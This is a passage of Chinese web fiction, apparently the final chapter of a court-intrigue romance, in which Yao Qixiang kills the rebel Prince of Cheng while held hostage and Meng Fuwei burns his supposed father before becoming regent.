她在这里,只会拖累他。 “放心。”他说, “我肯定平安回来。” 见他即刻就要转身,姚戚香忍不住扯住了他的袖子。 “孟扶危!”她叫他的名字, 咬着牙默了半晌,才道,“我可不能做寡妇。” 他忽而笑了, 拿微凉的指尖刮了刮她的脸,答道:“不会让你做寡妇,今夜成王入京,本就是提前设好的局,之所以拖到现在,就是想做出宫中大势已去的假象,将京中投靠成王的叛党一举揪出。” “你放心。”他说。 听他这样说,姚戚香终于放心了,她没有再纠缠,即刻上了红绡的马,与红绡和茗玉一起踏上了回孟府的路。 回去的路上,远处传来一声轰鸣,紧接着起了片火光,夜风并不清凉,反而有些燥热,姚戚香骑在马上,眼睛里忽然酸酸的。 回到孟府,姚戚香换上了之前的衣裳,假装自己从未离开过,她来到前院时,还是被之前那个人引着来的。 孟家所有人还被扣在原地,见姚戚香去了这么久突然回来,常氏神情怪异道:“你去做什么了?” “他让我来路,搜孟扶危有没有通敌的罪证。”姚戚香面色平静回了一句。 下一秒,那人便看向孙月瑶与孟极道:“到你们了,带路。” 孙月瑶吓得连连看了孟极好几眼,孟极是个蠢的,不会稀里糊涂卷进去吧? 姚戚香看着孙月瑶与孟极被带走,一句话都没有说,这是孟扶危跟她交代好的,替她遮掩的过程,反正就算去了,屋里也只是被装模作样地搜刮一通。 然而就在这个时候,孟府被一群人破门而入,姚戚香起初还以为同是殿前司的人,可这些人杀气凛凛,对上殿前司的人竟也是毫不犹豫一刀便杀。 她一震,在孟府所有人的惊呼声中慢慢后退,转身便跑,这些人多半是反贼…… 这个时候冲进孟府来,只怕是冲着孟扶危来的。 “娘子快逃,我和红绡送娘子出去。”茗玉急急说了一声,掩护着姚戚香往一个方向跑,谁知就在此时,常秋兰发现了她们离去的方向,大喊了一声。 “孟扶危在那边!”她指着那个方向,森然地笑着。 追兵接踵而至,很快拦住了姚戚香一行人的去路。 姚戚香一颗心简直提到了嗓子眼,她心想,今夜怕是躲不过了…… 不过,横竖她仇已经报了。 想到这里,她心中瞬间又坦然下来,没事,死便死了,难道她还怕这个!? 前后围上来的几人被茗玉和红绡杀了,可冲进来的反贼目的鲜明,显然就是冲着姚戚香来的,她回头看了一眼,竟在黑压压的人群中,瞧见一人穿着明显不同。 那怕就是成王李漓了。 她与成王从未打过照面,何人会对孟府的情况如此清楚,又对她的长相了如指掌,姚戚香不用想也知道,是孟檀暗中卖了消息。 姚戚香下意识看向宜宁县主,她被这伙人团团围住,但这些人并没有要伤她的意思,便了然了。 想到那边还有孙月瑶,她还怀着身孕,万一有个好歹来…… 既然避无可避,姚戚香主动站了出去:“我就是姚戚香,你们抓我,是为了孟扶危吧?” 茗玉与红绡皆与人缠斗在一起,分身乏术,见状纷纷警惕起来。 “你们抓了我,是不是就能放了府上其他人?”姚戚香盯着人群中那明显不同的一人,称了句,“成王殿下。” 李漓笑了起来,他道:“识时务者为俊杰,你跟我们走,我自然放了其他人,毕竟这府上除了孟扶危,其他人对本王来说可都是有功之臣啊。” “好,我跟你们走。”姚戚香毫不犹豫走了过去,她在赌,既然李漓大费周章杀到了孟府来,就不会只是来杀她泄愤,李漓想要挟持她,去对付孟扶危,想必孟扶危手中攥着成王真正畏惧或想要的东西。 总之,她不会马上死。 “好!识相!”李漓做了个手势,两人立马上前,一左一右挟持了姚戚香,将她带着往外走。 “嫂嫂!”李嘉荣焦急地叫了一声,她看向反贼之中,并未瞧见孟檀的身影,更没有看见自己亲爹,只能朝着李漓跪了下来,“成王殿下,求您不要伤她。” 李漓不慎在意地瞥了李嘉荣一眼,道:“放心,只要孟扶危识相,我不会杀一个女人的。” 他目光自姚戚香脸上周转了一圈,嗤笑道:“尤其是长得不错的女人。” 姚戚香没什么表情,被成王的人带离了孟府。 她在想接下来的对策,她藏在怀里的那把短剑被搜身搜了出来,而后果然,这些人看到短剑之后就没有继续往下搜,她藏在袖中的那片薄刃保住了。 她被带着一路往外走,外面天黑得紧,她走得跌跌撞撞,一时也不知道被带去了什么地方。 李漓骑着马,闲庭信步似的走在前头,就在这个时候,她感觉到自己的手腕被人轻轻捏了一下,姚戚香一怔,很不经意地瞥向身侧的人,只见那人摊开手掌,上面写着行字:不必担心,孟。 简短几字,姚戚香明白了,她身边这几个全是孟扶危的人。 这些安排,今晚相见的时候孟扶危并未对她提及,姚戚香猜想这不是孟扶危存心要卖关子,而是中间出现了什么变故,这才不得不将计就计。 身旁有人,姚戚香更气定神闲了,只是面上还是露出谨慎和慌张来,目光紧盯着成王的后背。 直到她被带入一个昏暗的小屋,这些人终于停下了,李漓悠闲地下了马,看着姚戚香笑道:“咱们不急,先在这儿坐坐,看看一会儿能不能等到我想要的东西。” 姚戚香看着他,猜测道:“你不会在等圣旨吧?都到这一步了,闹得京中人尽皆知,还想要名正言顺吗?” 姚戚香心里其实还是没有底,孟扶危难道真会为了她拿着圣旨来换?成王身边究竟有多少孟扶危的人,倘若只有身边这几个,那也是不顶用的。 “怎么?你觉得本王真是在这里干等不成?”李漓突然莫名笑了一下,眼神示意姚戚香左右的人将她松开。 姚戚香登时有了种不好的预感。 “不如,让孟扶危的夫人好好陪陪我……”李漓笑着朝她脸上拍了拍,“其实在本王见过的女人里,你不算绝色,可正因为你是孟扶危的,这才格外有趣。” “你说……”李漓的眼神骤然狠厉起来,“你说孟扶危凭什么瞧不上本王?要不是他,本王也不必跟李清那个毛头小子一争,我年长,坐这皇位不是名正言顺!” “你不知道?”姚戚香道,“我却知道他的怎么想的。” 李漓面露意外:“什么?他连这个都跟你讲?” 当然不会,姚戚香只是尽可能拖延一点时间。 “他的母亲可是郡主啊。”姚戚香道,“孟扶危身上也算留着皇室的血了,成王殿下难道会比李清更好控制吗?” 这是姚戚香乱编的,可她见李漓竟然真的怔了一下,甚至开始思考这件事的可能性。 “是这样……”李漓恍然大悟,“原来是这样……怪不得……” 姚戚香:“……” 难道她还能真说中了?不能吧?孟扶危不是宠臣吗?他不至于啊。 “怪不得,他分明发现本王早有异心,却藏着不说,害得本王还以为……”李漓冷笑一声,目光落在姚戚香身上,笑道,“看来他对你倒是知无不言言无不尽,那你知不知道,孟扶危其实不是孟祁柏的儿子?” 姚戚香一顿,她之前随口的猜想,竟成真了? “那是谁的?”姚戚香道。 李漓摇了摇头:“本王凭什么告诉你?你以为你随口言语几句,真能拖着本王?” 他笑道:“今夜本王带你出来,就没打算让你全须全尾地出去。” 他猛然靠近,一把撕住姚戚香的衣服,像是要就地用强,姚戚香向后躲了一下,忙道:“你要是这样,我就马上咬舌自尽,到时候孟扶危就算来了,你照样一无所有。” 李漓看着她这样,冷笑一声:“看来你是个烈性子,姚戚香,难道你连自己的家人都不在乎了?你不会真以为本王只来抓你一个吧?想必过一会儿,他们就会带着你父亲过来了,到那时……” 姚戚香险些笑出声来,这天底下,怎么会有这样凑巧的事。 这下成王的人可是真去了姚家了,连遮掩都不用。 她想笑,却又不能笑,冷着脸对李漓道:“你究竟想做什么?” “我说了,你最好乖乖伺候本王,等孟扶危来了,就让他好好看看……” “可以。”姚戚香道,“去屋里,这里这么多人看着,不行。” 她答应得这么快,倒让李漓有些意外,不过仔细观察之下,他发现姚戚香的手竟然在抖,没想到这个女人表面上装得这么冷静,其实吓坏了吧? 也是,哪个女人能撑得住这样的场面?自然害怕。 “好啊。”李漓让开了身,“那咱们进去,好好说说话。” 到时候他再把她丢出去,那也是一样的。 姚戚香默着声往里面走,成王抬眼,眼神示意她后面那两人关门,然而就在此时,姚戚香距离成王仅一步之遥的时候,她猛然抬手,手中的薄刃飞快地划过李漓的脖子,她用尽了全力。 李漓只觉得颈间一凉,鲜血喷涌而出,他神色骤变,忙伸手按住自己的脖子。 “成王李漓,你对我爹姚振廷痛下杀手,今日我便报了这杀父之仇!”姚戚香大喊了一声,随着这一声落下,方才那两人即刻拦在了姚戚香面前,以防成王突然暴起,而外面,属于孟扶危的人纷纷拔刀,兵刃相见。 “什、什么!?”李漓嘶哑着嗓音,被一脚踹在了地上,几个字吐得尤为艰难。 成王带的这支队伍中,竟有一半都是孟扶危的人,两方缠斗在一起,而很快援兵已至,时间不早不晚,刚刚好。 姚戚香有理由怀疑,孟扶危早就在这附近等着了。 那他为什么不直接露面?难道……姚戚香看了眼李漓,难道他本来就是要让李漓来背杀死姚振廷的锅的? 就在这时,孟扶危走了进来,他身上带着股血腥气,不算刺鼻,看见他的一瞬间,姚戚香只觉得整颗心都定了下来。 “杀这么快,成王派去的人还没回来。”孟扶危道。 姚戚香怪异地看了他一眼,道:“你真打算让我动手杀他?” “倒也没有。”孟扶危道,“等姚振廷的事栽赃给他,他们两人会动手。” 这两人便指的是姚戚香身边的两人。 “那、那怎么办?”她问。 “无事,我让人去拦了,他的人回不来了。”孟扶危道。 眼看这二人竟自顾聊起来了,李漓张大了嘴,想问,却说不出话来,他的喉咙处,简直像是在漏风。 “你是不是想问,什么栽赃不栽赃的,嗯?”姚戚香笑眯眯上前,在成王耳边轻声道,“杀姚振廷的,是我呀。” 她目中透着深笑。 李漓目光一震,已然断了气。 “他闯入孟府,也是你计划的一环?”姚戚香回身问道。 孟扶危摇了摇头,他怎么可能拿她冒险。 “有人告诉李漓,圣旨在我手上,他这才突然改道去孟府的,否则按孟府的位置,李漓根本不值得去一趟。” 逼宫之事就是要快,李漓不可能专门去一趟孟府兜圈子。 得知此事后,孟扶危着实捏了把汗,他在李漓身边布置了自己的人手,就是为了一个万一,没想到这个万一,真的发生了。 “有人?谁?孟檀吗?”姚戚香追问。 孟扶危却摇了摇头,不说话了。 李漓突然改道,是在杀去东宫的路上,他原本想挟持的人,是太子李清。 还能是什么人让他改了主意呢?谁人有这样的本事,又能让李漓对此深信不疑? 孟扶危摇头,姚戚香不知道他是什么意思,也不知道? 她没有再问,见孟扶危拉着她往外走,她又问:“去哪儿?” 孟扶危:“陪我去,杀个人。” 姚戚香一脸莫名。 李漓一死,叛军大势已去,京中剩余的残兵也被一一围剿。 在一片混乱之中,孟扶危竟带她回了孟府。 孟府里里外外已被孟扶危的人接管,姚戚香被他一路带着来到了云栖堂,她心中一怔,孟扶危要杀的人,不会在这里吧? 她到的时候,正有几人在屋子里泼油。 而那间屋子里,被关着的只有一个人,姚戚香看到了孟祁柏。 “夫人稍坐。”孟扶危指了指一边的椅子,姚戚香神情古怪地坐下。 孟扶危要杀的人,真的是孟祁柏,他应当是知道了什么,她脑中想起李漓跟她卖关子的话,孟扶危应该也知道了,他并非孟祁柏的儿子。 “孽种。”孟祁柏盯着孟扶危冷笑。 孟扶危没什么情绪,只是淡然道:“我今夜才知,为何你总想要将我除去。横竖你不能如愿了,既然如此,我也礼尚往来一回。” 他手中拿了火把,似乎正在考虑先从哪里烧起。 “你这个孽种!你和你那水性杨花的娘一样,都是贱种!”孟祁柏大叫,“我一心栽培你,在你身上费了多少心血!到后来才知原来你不是我儿子,是杨溪背着我和别人生的!” 姚戚香微微睁大眼睛,她情不自禁想起孙月瑶来,一想到多年后,孟家可能还会上演这么一出戏,就忍不住笑了一声。 夜色中,她的笑声格外突兀,惹得另外两人都朝她看来。 姚戚香忙摆了摆手,眼看孟祁柏就要死了,她就不说了,孟极无后,孙月瑶怀的是别人的儿子,孟檀早晚也是处死,眼看孟家的这点血脉就要没了。 她不说,孟扶危却是会意,他轻声:“看来孟家,要在我这个彻彻底底的外人身上传下去了。” 他这样阴阳怪气地说话,姚戚香又忍不住笑出了声。 孟祁柏怔然看着,眼看就要被气死了,孟扶危终于落下手中的火把,引燃了房屋一角,火光窜起,可孟祁柏被牢牢捆在椅子上,全然无法挣扎。 等火烧起来,烧尽了他身上的绳子,那他便是意外而死。 一片火光中,姚戚香与孟扶危离开了云栖堂。 回去的路上,她忍不住问:“那你究竟是你娘和谁生的?” “不重要。”孟扶危道,“反正,我只要是她生的就好了。” 他其实略有印象,小时候,母亲和一个男人走得很近,他私下见过几回,但当时没有放在心上。 后来他母亲出事,那人也不见了,他后来查了查,说是殉了主。 对这三个字,他从未多想过,直到今日才想明白,他殉的人,只怕就是他娘。 盛京太平了,似乎一切都回到正轨,唯有景成帝溘然病逝,驾崩前竟写下遗照,要封孟扶危为摄政王,此举荒谬,引起不少人不满,可威压之下,无人敢站出来说话。 不过摄政王积年无子,久而久之,倒也没什么人再有异议了。 “你就不怕,少帝跟你翻了脸,要夺权?”姚戚香问。 “他的性子最是仁善,等他下定决心,怕是还要再等个几十年。”孟扶危道,“就算他真的决定了,那也不怕。” 孟扶危运筹帷幄,这方面,姚戚香确实没什么好操心的。 “走吧。”孟扶危道。 “去哪儿?” “天色不早了,我们回家。” 姚戚香一怔,她第一次从孟扶危口中,听见回家这两个字。 旋即笑了笑,走在了孟扶危身侧。 是呀,天大地大,她终于有个安安稳稳的家了。【你现在阅读的是 】